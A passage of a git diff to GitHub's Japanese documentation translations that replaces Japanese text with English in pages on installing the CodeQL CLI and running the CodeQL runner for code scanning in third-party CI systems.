✓ | SHA of the commit that was analyzed. In Git and in Azure DevOps, this corresponds to the value of `git rev-parse HEAD`. In Jenkins, this corresponds to `$GIT_COMMIT`. | +| `--ref` | ✓ | Name of the reference that was analyzed, for example `refs/heads/main` or `refs/pull/42/merge`. In Git or in Jenkins, this corresponds to the value of `git symbolic-ref HEAD`. In Azure DevOps, this corresponds to `$(Build.SourceBranch)`. | +| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |{% ifversion ghes < 3.1 %} +| `--github-auth` | ✓ | A {% data variables.product.prodname_github_apps %} token or personal access token. |{% else %} +| `--github-auth-stdin` | ✓ | Read the {% data variables.product.prodname_github_apps %} token or personal access token from standard input. |{% endif %} +| `--checkout-path` | | The path to the checkout of your repository. The default is the current working directory. | +| `--debug` | | None. Prints more verbose output. | +| `-h`, `--help` | | None. Displays help for the command. | diff --git a/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md b/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md index cbb3ee09f2..6c8749f755 100644 --- a/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md +++ b/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md @@ -1,7 +1,7 @@ --- -title: CIシステムへのCodeQL CLIのインストール -shortTitle: CodeQL CLIのインストール -intro: 'サードパーティの継続的インテグレーションシステムに{% data variables.product.prodname_codeql_cli %}をインストールし、{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}を実行するために使用できます。' +title: Installing CodeQL CLI in your CI system +shortTitle: Install CodeQL CLI +intro: 'You can install the {% data variables.product.prodname_codeql_cli %} and use it to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 versions: @@ -24,53 +24,52 @@ redirect_from: - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-cli-in-your-ci-system - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system --- - {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## {% data variables.product.prodname_code_scanning %}のための{% data variables.product.prodname_codeql_cli %}の利用について +## About using the {% data variables.product.prodname_codeql_cli %} for {% data variables.product.prodname_code_scanning %} -{% data variables.product.prodname_codeql_cli %} を使用して、サードパーティ継続的インテグレーション (CI) システムで処理しているコード上で {% data variables.product.prodname_code_scanning %} を実行できます。 {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." +You can use the {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." {% data reusables.code-scanning.what-is-codeql-cli %} -あるいは、{% data variables.product.prodname_actions %}を使って{% data variables.product.product_name %}内で{% data variables.product.prodname_code_scanning %}を実行することもできます。 Actionsを使った{% data variables.product.prodname_code_scanning %}に関する情報については「[リポジトリでの{% data variables.product.prodname_code_scanning %}のセットアップ](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)」を参照してください。 CIシステムでのオプションの概要については「[CIシステムでのCodeQL {% data variables.product.prodname_code_scanning %}について](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)」を参照してください。 +Alternatively, you can use {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %}. For information about {% data variables.product.prodname_code_scanning %} using actions, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." For an overview of the options for CI systems, see "[About CodeQL {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)". {% data reusables.code-scanning.licensing-note %} -## {% data variables.product.prodname_codeql_cli %} をダウンロードする +## Downloading the {% data variables.product.prodname_codeql_cli %} -https://github.com/github/codeql-action/releases から{% data variables.product.prodname_codeql %}バンドルをダウンロードしてください。 このバンドルには以下が含まれます。 +You should download the {% data variables.product.prodname_codeql %} bundle from https://github.com/github/codeql-action/releases. The bundle contains: -- {% data variables.product.prodname_codeql_cli %}製品 -- https://github.com/github/codeql からのクエリとライブラリの互換性のあるバージョン -- バンドルに含まれるすべてのクエリのプリコンパイル済みバージョン +- {% data variables.product.prodname_codeql_cli %} product +- A compatible version of the queries and libraries from https://github.com/github/codeql +- Precompiled versions of all the queries included in the bundle -{% data variables.product.prodname_codeql %}バンドルは互換性を保証し、{% data variables.product.prodname_codeql_cli %}を個別にダウンロードし、{% data variables.product.prodname_codeql %}クエリをチェックアウトするのに比べてはるかに優れたパフォーマンスが得られるので、常にこのバンドルを利用すべきです。 特定の1つのプラットフォームでのみCLIを実行するなら、適切な`codeql-bundle-PLATFORM.tar.gz`ファイルをダウンロードしてください。 あるいは、サポートされているすべてのプラットフォームのCLIが含まれている`codeql-bundle.tar.gz`をダウンロードできます。 +You should always use the {% data variables.product.prodname_codeql %} bundle as this ensures compatibility and also gives much better performance than a separate download of the {% data variables.product.prodname_codeql_cli %} and checkout of the {% data variables.product.prodname_codeql %} queries. If you will only be running the CLI on one specific platform, download the appropriate `codeql-bundle-PLATFORM.tar.gz` file. Alternatively, you can download `codeql-bundle.tar.gz`, which contains the CLI for all supported platforms. {% data reusables.code-scanning.beta-codeql-packs-cli %} -## CIシステムでの{% data variables.product.prodname_codeql_cli %}のセットアップ +## Setting up the {% data variables.product.prodname_codeql_cli %} in your CI system -CodeQL {% data variables.product.prodname_code_scanning %}分析を実行したいすべてのCIサーバーで、{% data variables.product.prodname_codeql_cli %}バンドルの完全な内容が利用できるようにしなければなりません。 たとえば、内部的な中央の場所からバンドルをコピーして展開するよう、各サーバーを設定することになるでしょう。 あるいはREST APIを使ってバンドルを{% data variables.product.prodname_dotcom %}から直接取得し、クエリに対する最新の改善を活用できるようにすることもできます。 {% data variables.product.prodname_codeql_cli %}のアップデートは、2-3週ごとにリリースされます。 例: +You need to make the full contents of the {% data variables.product.prodname_codeql_cli %} bundle available to every CI server that you want to run CodeQL {% data variables.product.prodname_code_scanning %} analysis on. For example, you might configure each server to copy the bundle from a central, internal location and extract it. Alternatively, you could use the REST API to get the bundle directly from {% data variables.product.prodname_dotcom %}, ensuring that you benefit from the latest improvements to queries. Updates to the {% data variables.product.prodname_codeql_cli %} are released every 2-3 weeks. For example: ```shell $ wget https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases/latest/download/codeql-bundle-linux64.tar.gz $ tar -xvzf ../codeql-bundle-linux64.tar.gz ``` -{% data variables.product.prodname_codeql_cli %}バンドルを展開したら、サーバー上で`codeql`の実行可能ファイルを実行できます。 +After you extract the {% data variables.product.prodname_codeql_cli %} bundle, you can run the `codeql` executable on the server: -- `//codeql/codeql`を実行。ここで``は{% data variables.product.prodname_codeql_cli %}バンドルを展開したフォルダー。 -- `//codeql`を`PATH`に追加して、`codeql`とするだけで実行できるようにする。 +- By executing `//codeql/codeql`, where `` is the folder where you extracted the {% data variables.product.prodname_codeql_cli %} bundle. +- By adding `//codeql` to your `PATH`, so that you can run the executable as just `codeql`. -## {% data variables.product.prodname_codeql_cli %}のセットアップのテスト +## Testing the {% data variables.product.prodname_codeql_cli %} set up -{% data variables.product.prodname_codeql_cli %}バンドルを展開したら、CLIがデータベースを作成して分析できるよう正しくセットアップされたことを、以下のコマンドを実行して確認できます。 +After you extract the {% data variables.product.prodname_codeql_cli %} bundle, you can run the following command to verify that the CLI is correctly set up to create and analyze databases. -- `//codeql`が`PATH`上にあるなら`codeql resolve qlpacks` -- そうでない場合は`//codeql/codeql resolve qlpacks` +- `codeql resolve qlpacks` if `//codeql` is on the `PATH`. +- `//codeql/codeql resolve qlpacks` otherwise. -**成功した出力からの抜粋:** +**Extract from successful output:** ``` codeql-cpp (//codeql/qlpacks/codeql-cpp) codeql-cpp-examples (//codeql/qlpacks/codeql-cpp-examples) @@ -93,12 +92,12 @@ codeql-python-upgrades (//codeql/qlpacks/codeql-python-upgrades ... ``` -出力が期待した言語を含んでいるか、そしてqlpackファイルのディレクトリの場所が正しいかもチェックする必要があります。 `github/codeql`.をチェックアウトして使っているのでなければ、この場所は展開された{% data variables.product.prodname_codeql_cli %}バンドル内であるべきで、これは上では``で示されています。 {% data variables.product.prodname_codeql_cli %}が期待された言語のqlpackの場所を知ることができないなら、{% data variables.product.prodname_codeql_cli %}のスタンドアローンのコピーではなく{% data variables.product.prodname_codeql %}バンドルをダウンロードしたかを確認してください。 +You should check that the output contains the expected languages and also that the directory location for the qlpack files is correct. The location should be within the extracted {% data variables.product.prodname_codeql_cli %} bundle, shown above as ``, unless you are using a checkout of `github/codeql`. If the {% data variables.product.prodname_codeql_cli %} is unable to locate the qlpacks for the expected languages, check that you downloaded the {% data variables.product.prodname_codeql %} bundle and not a standalone copy of the {% data variables.product.prodname_codeql_cli %}. -## {% data variables.product.product_name %}での認証のためのトークンの生成 +## Generating a token for authentication with {% data variables.product.product_name %} -それぞれのCIサーバーには、結果を{% data variables.product.product_name %}にアップロードするために使う{% data variables.product.prodname_github_app %}もしくは{% data variables.product.prodname_codeql_cli %}のための個人アクセストークンが必要です。 アクセストークンもしくは`security_events`書き込み権限を持つ{% data variables.product.prodname_github_app %}を使わなければなりません。 CIサーバーが既に{% data variables.product.product_name %}からのリポジトリのチェックアウトのためのこのスコープを持つトークンを使っているなら、{% data variables.product.prodname_codeql_cli %}に同じトークンを使わせることができるかもしれません。 そうでない場合は、`security_events`書き込み権限を持つ新しいトークンを作成し、これをCIシステムのシークレットストアに追加しなければなりません。 詳細は「[{% data variables.product.prodname_github_apps %} をビルドする](/developers/apps/building-github-apps)」および「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」を参照してください。 +Each CI server needs a {% data variables.product.prodname_github_app %} or personal access token for the {% data variables.product.prodname_codeql_cli %} to use to upload results to {% data variables.product.product_name %}. You must use an access token or a {% data variables.product.prodname_github_app %} with the `security_events` write permission. If CI servers already use a token with this scope to checkout repositories from {% data variables.product.product_name %}, you could potentially allow the {% data variables.product.prodname_codeql_cli %} to use the same token. Otherwise, you should create a new token with the `security_events` write permission and add this to the CI system's secret store. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." -## 次のステップ +## Next steps -これでCIシステムで{% data variables.product.prodname_codeql %}分析を実行し、結果を生成し、それらを{% data variables.product.product_name %}にアップロードする準備ができました。結果はそこでブランチもしくはPull Requestとマッチさせられ、{% data variables.product.prodname_code_scanning %}アラートとして表示されます。 詳細な情報については「[CIシステムでの{% data variables.product.prodname_codeql_cli %}の設定](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)」を参照してください。 +You're now ready to configure the CI system to run {% data variables.product.prodname_codeql %} analysis, generate results, and upload them to {% data variables.product.product_name %} where the results will be matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts. For detailed information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)." diff --git a/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md b/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md index ce9d092ad9..14ce3be757 100644 --- a/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md +++ b/translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md @@ -1,7 +1,7 @@ --- -title: CIシステムでのCodeQLランナーの実行 -shortTitle: CodeQLランナーの実行 -intro: '{% data variables.product.prodname_codeql_runner %} を使用して、、サードパーティの継続的インテグレーションシステムで {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} を実行できます。' +title: Running CodeQL runner in your CI system +shortTitle: Run CodeQL runner +intro: 'You can use the {% data variables.product.prodname_codeql_runner %} to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-code-scanning-in-your-ci-system @@ -25,7 +25,6 @@ topics: - CI - SARIF --- - @@ -33,93 +32,94 @@ topics: {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## {% data variables.product.prodname_codeql_runner %} について +## About the {% data variables.product.prodname_codeql_runner %} -{% data variables.product.prodname_codeql_runner %}は、サードパーティの継続的インテグレーション（CI）システム内で処理しているコードに対して{% data variables.product.prodname_code_scanning %}を実行するのに利用できるツールです。 {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." +The {% data variables.product.prodname_codeql_runner %} is a tool you can use to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -多くの場合、CIシステム内で{% data variables.product.prodname_codeql_cli %}を直接使って{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}をセットアップするのが容易です。 +In many cases it is easier to set up {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_cli %} directly in your CI system. {% endif %} -あるいは、{% data variables.product.prodname_actions %}を使って{% data variables.product.product_name %}内で{% data variables.product.prodname_code_scanning %}を実行することもできます。 詳細については、「[リポジトリに対する {% data variables.product.prodname_code_scanning %} をセットアップする](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)」を参照してください。 +Alternatively, you can use {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %}. For information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." -{% data variables.product.prodname_codeql_runner %} は、{% data variables.product.prodname_dotcom %} リポジトリのチェックアウト中に {% data variables.product.prodname_codeql %} 解析を実行するコマンドラインツールです。 サードパーティーのシステムにランナーを追加し、ランナーを呼び出してコードを解析し、その結果を {% data variables.product.product_name %} にアップロードします。 この結果は、リポジトリの {% data variables.product.prodname_code_scanning %} アラートとして表示されます。 +The {% data variables.product.prodname_codeql_runner %} is a command-line tool that runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. You add the runner to your third-party system, then call the runner to analyze code and upload the results to {% data variables.product.product_name %}. These results are displayed as {% data variables.product.prodname_code_scanning %} alerts in the repository. {% note %} -**注釈:** +**Note:** {% ifversion fpt or ghec %} -* {% data variables.product.prodname_codeql_runner %}は{% data variables.product.prodname_codeql %} CLIを使ってコードを分析するので、同じライセンス条件を持ちます。 {% data variables.product.prodname_dotcom_the_website %}上で管理されるパブリックリポジトリでの使用は無料であり、{% data variables.product.prodname_advanced_security %}ライセンスを持つお客様が所有するプライベートリポジトリ上で使用できます。 詳細については「[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %}の利用規約](https://securitylab.github.com/tools/codeql/license)」及び「[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)」を参照してください。 +* The {% data variables.product.prodname_codeql_runner %} uses the {% data variables.product.prodname_codeql %} CLI to analyze code and therefore has the same license conditions. It's free to use on public repositories that are maintained on {% data variables.product.prodname_dotcom_the_website %}, and available to use on private repositories that are owned by customers with an {% data variables.product.prodname_advanced_security %} license. For information, see "[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} Terms and Conditions](https://securitylab.github.com/tools/codeql/license)" and "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)." {% else %} -* {% data variables.product.prodname_codeql_runner %}は{% data variables.product.prodname_advanced_security %}ライセンスを持つお客様にご利用いただけます。 +* The {% data variables.product.prodname_codeql_runner %} is available to customers with an {% data variables.product.prodname_advanced_security %} license. {% endif %} {% ifversion ghes < 3.1 or ghae %} -* {% data variables.product.prodname_codeql_runner %}は{% data variables.product.prodname_codeql %} CLIと混同しないでください。 {% data variables.product.prodname_codeql %} CLIは、セキュリティの研究のために{% data variables.product.prodname_codeql %}データベースを作成し、{% data variables.product.prodname_codeql %}クエリを実行できるようにしてくれるコマンドラインインターフェースです。 詳細は「[{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/)」を参照してください。 +* The {% data variables.product.prodname_codeql_runner %} shouldn't be confused with the {% data variables.product.prodname_codeql %} CLI. The {% data variables.product.prodname_codeql %} CLI is a command-line interface that lets you create {% data variables.product.prodname_codeql %} databases for security research and run {% data variables.product.prodname_codeql %} queries. +For more information, see "[{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/)." {% endif %} {% endnote %} -## {% data variables.product.prodname_codeql_runner %} をダウンロードする +## Downloading the {% data variables.product.prodname_codeql_runner %} -{% data variables.product.prodname_codeql_runner %}は、https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases からダウンロードできます。 一部のオペレーティングシステムでは、ダウンロードしたファイルの実行前に、その権限を変更する必要があります。 +You can download the {% data variables.product.prodname_codeql_runner %} from https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases. On some operating systems, you may need to change permissions for the downloaded file before you can run it. -Linuxの場合: +On Linux: ```shell chmod +x codeql-runner-linux ``` -macOS: +On macOS: ```shell chmod +x codeql-runner-macos sudo xattr -d com.apple.quarantine codeql-runner-macos ``` -Windowsでは、通常`codeql-runner-win.exe`ファイルの権限変更は必要ありません。 +On Windows, the `codeql-runner-win.exe` file usually requires no change to permissions. -## {% data variables.product.prodname_codeql_runner %} を CI システムに追加する +## Adding the {% data variables.product.prodname_codeql_runner %} to your CI system -{% data variables.product.prodname_codeql_runner %}をダウンロードし、実行できることを確認したら、{% data variables.product.prodname_code_scanning %}に使用するそれぞれのCIサーバーでランナーを利用できるようにしなければなりません。 たとえば、内部的な中央の場所からランナーをコピーするよう、各サーバーを設定することになるでしょう。 あるいは、REST API を使用して {% data variables.product.prodname_dotcom %}から直接ランナーを取得することもできます。例: +Once you download the {% data variables.product.prodname_codeql_runner %} and verify that it can be executed, you should make the runner available to each CI server that you intend to use for {% data variables.product.prodname_code_scanning %}. For example, you might configure each server to copy the runner from a central, internal location. Alternatively, you could use the REST API to get the runner directly from {% data variables.product.prodname_dotcom %}, for example: ```shell wget https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases/latest/download/codeql-runner-linux chmod +x codeql-runner-linux ``` -これに加えて、各 CI サーバーは以下の条件も満たす必要があります。 +In addition to this, each CI server also needs: -- {% data variables.product.prodname_codeql_runner %} が使用するための {% data variables.product.prodname_github_app %} または個人アクセストークン。 `repo` スコープのあるアクセストークン、または `security_events` の書き込み権限、ならびに `metadata` および `contents` の読み取り権限を持つ {% data variables.product.prodname_github_app %} を使用する必要があります。 詳細は「[{% data variables.product.prodname_github_apps %} をビルドする](/developers/apps/building-github-apps)」および「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」を参照してください。 -- {% data variables.product.prodname_codeql_runner %} のリリースに伴う {% data variables.product.prodname_codeql %} バンドルへのアクセス。 このパッケージには、{% data variables.product.prodname_codeql %} 解析に必要なクエリとライブラリ、さらにランナーによって内部的に使用される {% data variables.product.prodname_codeql %} CLI が含まれています。 詳細は「[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)」を参照してください。 +- A {% data variables.product.prodname_github_app %} or personal access token for the {% data variables.product.prodname_codeql_runner %} to use. You must use an access token with the `repo` scope, or a {% data variables.product.prodname_github_app %} with the `security_events` write permission, and `metadata` and `contents` read permissions. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." +- Access to the {% data variables.product.prodname_codeql %} bundle associated with this release of the {% data variables.product.prodname_codeql_runner %}. This package contains queries and libraries needed for {% data variables.product.prodname_codeql %} analysis, plus the {% data variables.product.prodname_codeql %} CLI, which is used internally by the runner. For information, see "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)." -{% data variables.product.prodname_codeql %} バンドルにアクセスを与えるオプションは次の通りです。 +The options for providing access to the {% data variables.product.prodname_codeql %} bundle are: -1. CI サーバーに https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action へのアクセスを許可し、{% data variables.product.prodname_codeql_runner %} がバンドルを自動的にダウンロードできるようにする。 -1. バンドルを手動でダウンロード/展開し、他の中央リソースに保存して、 `--codeql-path` フラグで、呼び出しにおいて {% data variables.product.prodname_codeql_runner %} を初期化するバンドルの場所を指定します。 +1. Allow the CI servers access to https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action so that the {% data variables.product.prodname_codeql_runner %} can download the bundle automatically. +1. Manually download/extract the bundle, store it with other central resources, and use the `--codeql-path` flag to specify the location of the bundle in calls to initialize the {% data variables.product.prodname_codeql_runner %}. -## {% data variables.product.prodname_codeql_runner %} を呼び出す +## Calling the {% data variables.product.prodname_codeql_runner %} -解析するリポジトリのチェックアウトの場所から、{% data variables.product.prodname_codeql_runner %} を呼び出す必要があります。 主なコマンドは次の 2 つです。 +You should call the {% data variables.product.prodname_codeql_runner %} from the checkout location of the repository you want to analyze. The two main commands are: -1. `init` は、ランナーを初期化し、解析する各言語に {% data variables.product.prodname_codeql %} データベースを作成するために必要です。 このデータベースは、続くコマンドにより展開、解析されます。 -1. `analyze` は、{% data variables.product.prodname_codeql %} データベースを展開、解析し、結果を {% data variables.product.product_name %} にアップロードするために必要です。 +1. `init` required to initialize the runner and create a {% data variables.product.prodname_codeql %} database for each language to be analyzed. These databases are populated and analyzed by subsequent commands. +1. `analyze` required to populate the {% data variables.product.prodname_codeql %} databases, analyze them, and upload results to {% data variables.product.product_name %}. -どちらのコマンドにおいても、{% data variables.product.product_name %} の URL、リポジトリの *OWNER/NAME*、および認証に使用する{% data variables.product.prodname_github_apps %}または個人アクセストークンを指定する必要があります。 CIサーバーが`github/codeql-action`リポジトリからCodeQLバンドルを直接ダウンロードできないなら、CodeQLバンドルの場所を指定する必要もあります。 +For both commands, you must specify the URL of {% data variables.product.product_name %}, the repository *OWNER/NAME*, and the {% data variables.product.prodname_github_apps %} or personal access token to use for authentication. You also need to specify the location of the CodeQL bundle, unless the CI server has access to download it directly from the `github/codeql-action` repository. -将来の解析のため {% data variables.product.prodname_codeql_runner %} が CodeQL バンドルを保存する場所を `--tools-dir` フラグで設定できます。また、解析中に一時ファイルを保存する場所を、`--temp-dir` で設定できます。 `--temp-dir`. +You can configure where the {% data variables.product.prodname_codeql_runner %} stores the CodeQL bundle for future analysis on a server using the `--tools-dir` flag and where it stores temporary files during analysis using `--temp-dir`. -ランナーのコマンドラインリファレンスを表示するには、`-h` フラグを使用します。 たとえば、動作するすべてのコマンドを一覧表示するには `codeql-runner-OS -h` と入力し、`init` コマンド実行時に使用できるすべてのコマンドを一覧表示するには `codeql-runner-OS init -h` と入力します (`OS` 変数は使用している実行ファイルによります)。 詳しい情報については、「[{% data variables.product.prodname_code_scanning %} を CI システムで設定する](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system#codeql-runner-command-reference)」を参照してください。 +To view the command-line reference for the runner, use the `-h` flag. For example, to list all commands run: `codeql-runner-OS -h`, or to list all the flags available for the `init` command run: `codeql-runner-OS init -h` (where `OS` varies according to the executable that you are using). For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system#codeql-runner-command-reference)." {% data reusables.code-scanning.upload-sarif-alert-limit %} -### 基本的な例 +### Basic example -この例では、`{% data variables.command_line.git_url_example %}` にホストされている `octo-org/example-repo` リポジトリに対し、Linux CI サーバーで {% data variables.product.prodname_codeql %} 解析を実行します。 このリポジトリには、{% data variables.product.prodname_codeql %} により直接解析でき、ビルドされていない言語 (Go、JavaScript、Python、TypeScript) のみが含まれているため、プロセスは非常に単純です。 +This example runs {% data variables.product.prodname_codeql %} analysis on a Linux CI server for the `octo-org/example-repo` repository hosted on `{% data variables.command_line.git_url_example %}`. The process is very simple because the repository contains only languages that can be analyzed by {% data variables.product.prodname_codeql %} directly, without being built (that is, Go, JavaScript, Python, and TypeScript). -この例では、サーバーは`github/codeql-action`リポジトリから直接{% data variables.product.prodname_codeql %}バンドルをダウンロードできるので、`--codeql-path`フラグを使う必要はありません。 +In this example, the server has access to download the {% data variables.product.prodname_codeql %} bundle directly from the `github/codeql-action` repository, so there is no need to use the `--codeql-path` flag. -1. 解析するリポジトリをチェックアウトします。 -1. リポジトリがチェックアウトされるディレクトリに移動します。 -1. {% data variables.product.prodname_codeql_runner %} を初期化し、検出された言語用の {% data variables.product.prodname_codeql %} データベースを作成します。 +1. Check out the repository to analyze. +1. Move into the directory where the repository is checked out. +1. Initialize the {% data variables.product.prodname_codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected. {% ifversion ghes < 3.1 %} ```shell @@ -138,13 +138,13 @@ chmod +x codeql-runner-linux {% data reusables.code-scanning.codeql-runner-analyze-example %} -### コンパイル型言語の例 +### Compiled language example -この例は前の例と似ていますが、今回のリポジトリには C/C++、C#、または Java のコードがあります。 これらの言語用に {% data variables.product.prodname_codeql %} データベースを作成するには、CLI でビルドをモニターする必要があります。 初期化プロセスの最後に、ランナーはコードをビルドする前に環境をセットアップするために必要なコマンドを報告します。 通常の CI ビルドプロセスを呼び出す前にこのコマンドを実行してから、`analyze` コマンドを実行する必要があります。 +This example is similar to the previous example, however this time the repository has code in C/C++, C#, or Java. To create a {% data variables.product.prodname_codeql %} database for these languages, the CLI needs to monitor the build. At the end of the initialization process, the runner reports the command you need to set up the environment before building the code. You need to run this command, before calling the normal CI build process, and then running the `analyze` command. -1. 解析するリポジトリをチェックアウトします。 -1. リポジトリがチェックアウトされるディレクトリに移動します。 -1. {% data variables.product.prodname_codeql_runner %} を初期化し、検出された言語用の {% data variables.product.prodname_codeql %} データベースを作成します。 +1. Check out the repository to analyze. +1. Move into the directory where the repository is checked out. +1. Initialize the {% data variables.product.prodname_codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected. {% ifversion ghes < 3.1 %} ```shell $ /path/to-runner/codeql-runner-linux init --repository octo-org/example-repo-2 @@ -162,23 +162,23 @@ chmod +x codeql-runner-linux ". /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh". ``` {% endif %} -1. `init` アクションによって生成されたスクリプトを入手し、ビルドを監視する環境をセットアップします。 次のコードには、先頭にドットとスペースがあることに注意してください。 +1. Source the script generated by the `init` action to set up the environment to monitor the build. Note the leading dot and space in the following code snippet. ```shell $ . /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh ``` -1. コードをビルドします。 macOS では、build コマンドのプレフィックスに環境変数 `$CODEQL_RUNNER` を付ける必要があります。 詳しい情報については「[CIシステムでの{% data variables.product.prodname_codeql_runner %}のトラブルシューティング](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build)」を参照してください。 +1. Build the code. On macOS, you need to prefix the build command with the environment variable `$CODEQL_RUNNER`. For more information, see "[Troubleshooting {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build)." {% data reusables.code-scanning.codeql-runner-analyze-example %} {% note %} -**注釈:** コンテナ化されたビルドを使用している場合、ビルドタスクを行うコンテナで {% data variables.product.prodname_codeql_runner %} を実行する必要があります。 +**Note:** If you use a containerized build, you need to run the {% data variables.product.prodname_codeql_runner %} in the container where your build task takes place. {% endnote %} -## 参考リンク +## Further reading -- 「[CI システムで {% data variables.product.prodname_codeql_runner %} を設定する](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)」 -- 「[CI システムにおける {% data variables.product.prodname_codeql_runner %} のトラブルシューティング](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system)」 +- "[Configuring {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)" +- "[Troubleshooting {% data variables.product.prodname_codeql_runner %} in your CI 